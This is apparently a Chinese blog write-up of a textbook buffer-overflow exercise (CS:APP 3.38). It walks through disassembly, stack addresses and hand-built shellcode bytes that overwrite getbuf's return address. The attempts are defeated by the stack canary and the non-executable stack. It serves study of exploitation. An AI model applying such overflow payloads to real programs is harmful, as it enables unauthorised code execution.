《深入理解计算机系统》练习3.38,要求对提供的一个程序进行缓冲区溢出攻击。这里给出自己解题过程。这个程序在不做修改的情况下,在windows平台是无法编译的。所以以下练习基于Ubuntu 11.04 + GCC 4.5.2
要求是:让这个一直输出1的程序输出-559038737(deadbeef)。
目标就是要溢出getbuf这个函数,就把把getbuf这个函数内的执行权拿到,但在运行完我们指定的代码之后,我们还是要让这个函数返回到他本来就应该返回的地方的。查看test的汇编代码。
08048597
:
8048597: 55 push %ebp
8048598: 89 e5 mov %esp,%ebp
804859a: 83 ec 28 sub $0x28,%esp
804859d: b8 e0 86 04 08 mov $0x80486e0,%eax
80485a2: 89 04 24 mov %eax,(%esp)
80485a5: e8 12 fe ff ff call 80483bc
80485aa: e8 b4 ff ff ff call 8048563
80485af: 89 45 f4 mov %eax,-0xc(%ebp)
80485b2: b8 f1 86 04 08 mov $0x80486f1,%eax
80485b7: 8b 55 f4 mov -0xc(%ebp),%edx
80485ba: 89 54 24 04 mov %edx,0x4(%esp)
80485be: 89 04 24 mov %eax,(%esp)
80485c1: e8 f6 fd ff ff call 80483bc
80485c6: c9 leave
80485c7: c3 ret
黄色高亮的就是getbuf返回时,本应该返回到的地址。当然,也可以返回到其它的地方去。
我们来验证一下,运行程序,并在getbuf这个函数上加断点,%ebp的值是0xbfffefa8,我们在这个内存的前面,即0xbfffefac这里,可以看到getbuf的返回地址是080485AF。它前面保存的栈底也要记下来,是0xbfffefd8。这两个是在我们构建返回点时要用到的。
再来看getbuf这个函数。
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
申请了12字节的内存,所以输入的前12字节随便是什么都可以。但是这并不意味着13字符开始就覆盖到了不应该覆盖到的内存。还要覆盖到getxs函数的返回地址。覆盖的这个地址才是要计算的。我们来看反汇编出来的代码。
08048563 :
8048563: 55 push %ebp
8048564: 89 e5 mov %esp,%ebp
8048566: 83 ec 28 sub $0x28,%esp
8048569: 65 a1 14 00 00 00 mov %gs:0x14,%eax
804856f: 89 45 f4 mov %eax,-0xc(%ebp)
8048572: 31 c0 xor %eax,%eax
8048574: 8d 45 e8 lea -0x18(%ebp),%eax
8048577: 89 04 24 mov %eax,(%esp)
804857a: e8 15 ff ff ff call 8048494
804857f: b8 01 00 00 00 mov $0x1,%eax
8048584: 8b 55 f4 mov -0xc(%ebp),%edx
8048587: 65 33 15 14 00 00 00 xor %gs:0x14,%edx
804858e: 74 05 je 8048595
8048590: e8 37 fe ff ff call 80483cc <__stack_chk_fail@plt>
8048595: c9 leave
8048596: c3 ret
现在%ebp的值是0xbfffefa8,而在call getxs前,lea -0x18(%ebp),%eax,这里分配的起始地址是0xbffef90,这个就是buf的地址。这个地址在当前%esp之前,所以getxt溢出这个buf,并不能改定到getxt本身的返回地址。而只能改写getbuf的返回地址。这个地址的位址,在前面说了,是在0xbfffefac这个地方,所以我们要改写到这个区域的数据。所以,我们要改的内存区域是从0xbfffef90~0xbfffefaf这32个字节的内存。当然你写可以改定后面所有的内存,这样你就可以想干什么就干什么了,但是我们现在是要完成这个题目。所以后面要做的还是要做的。
所以我们希望可以让程序返回到0xbfffef90这个地方执行我们自己的代码。要执行的代码也很简单,就一行
movl $0xdeadbeef, %eax
这个代码在上面的示例中已经有类似代码了。所以可以知道这个代码的二进制表示是:
b8 ef be ad de
我的环境是Ubuntu,所以用的是小端法。然后就可以返回了。返回的代码上面也有。就是
c9 c3
这个返回的地址,应该就是getbuf原来的返回地址:0x080485AF了。但是leave和call都会造成%esp的变化,一个想法就是,我们可以不leave,直接return。这样我们就要当前(调用getbuf时)%ebp所指向就是正确的返回地址。但是这时%ebp所指向的地址0xbfffefd8已经很远了。这有太多东西要输入了。
所以换个思路,不ret了,直接jmp! 直接Jmp的话,我们直接跳到为print准备参数那行(0x080485be)就好了。嘿嘿。代码就是。
ff 25 be 85 04 08
所以前面的11个字节就是
b8 ef be ad de ff 25 be 85 04 08
中间 32 - 11 - 8 = 13个字节随意。
然后是d8 ef ff bf 90 ef ff bf
b8 ef be ad de ff 25 be 85 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef ff bf 90 ef ff bf
好了,我们试一下,结果发现失败了。单步一下,发现是__stack_chk_fail。现在的编译器啊。唉,就给我们找事儿。我临时手工改了下%eip的值跳过了这一步,继续。
结果在运行到 RET语句的时候,得到的又是一个错误框
clip_image002
对于这个SIGSEGV,解释是:
SIGSEGV --- Segment Fault. The possible cases of your encountering this error are:
1.buffer overflow --- usually caused by a pointer reference out of range.
2.stack overflow --- please keep in mind that the default stack size is 8192K.
3.illegal file access --- file operations are forbidden on our judge system.
想了一下,这个时候,%esp的值是0xbfffefac,而我们要跳转到0xbfffef90。这个地址是在栈顶之外。可能就是stack overflow的原因?
那再试下把要运行的代码向后放。前11个也随意。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef ff bf b0 ef ff bf b8 ef be ad de ff 25 be 85 04 08
结果还是一样的Error看来不是这个问题。于是我怒了,直接把%eip的值改成了0xbeffefb0以绕过ret。然后运行还是同样的错误。这个时候,我就开始怀疑这不是攻击代码的问题了,而是操作系统本身不允许在数据页上运行代码。此一时,彼一时啊。那个时候的OS比较温顺?
然后Google了一下,发现也有人遇到了同样的问题。还看到一个很恶心的做法。就是直接把getbuff函数return到print函数上。其实这样做对于攻击而且没有太大的意义。因为这样只能调用程序中已经有的代码,只是给它编一个参数而已。并没有运行自己编写的代码。
看来还是只能绕过安全机制才行。不过今天已经晚了,明天有空再来研究如果能绕过这个安全机制吧。
更新:
今天找到了最后出异常的解释。结论就是这种弱智的Buff Overflow攻击在现代操作系统中,已经不能做为有效的攻击手段了。
阅读(1563) | 评论(0) | 转发(0) |